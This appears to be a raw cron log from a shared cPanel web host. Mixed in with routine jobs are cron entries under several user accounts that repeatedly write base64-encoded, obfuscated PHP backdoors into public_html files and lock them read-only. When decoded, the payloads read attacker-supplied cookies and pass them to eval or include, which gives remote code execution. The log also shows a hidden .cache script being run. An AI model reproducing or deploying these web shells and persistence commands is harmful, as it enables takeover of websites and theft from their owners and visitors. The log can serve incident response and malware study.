Mar  2 03:22:02 medusa CROND[21749]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:22:02 medusa CROND[21751]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:22:02 medusa CROND[21752]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:22:02 medusa CROND[21753]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:22:02 medusa CROND[21748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:22:02 medusa CROND[21756]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:22:02 medusa CROND[21758]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:22:02 medusa CROND[21755]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:22:02 medusa CROND[21762]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 03:22:02 medusa CROND[21763]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:22:02 medusa CROND[21771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:22:02 medusa CROND[21772]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:23:02 medusa CROND[4451]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:23:02 medusa CROND[4452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:23:02 medusa CROND[4453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:23:02 medusa CROND[4456]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:23:02 medusa CROND[4459]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:23:02 medusa CROND[4461]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:23:02 medusa CROND[4462]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:23:02 medusa CROND[4464]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:23:02 medusa CROND[4471]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:23:02 medusa CROND[4472]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:23:02 medusa CROND[4476]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:23:02 medusa CROND[4477]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:24:01 medusa CROND[24467]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:24:01 medusa CROND[24468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:24:01 medusa CROND[24469]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:24:01 medusa CROND[24470]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
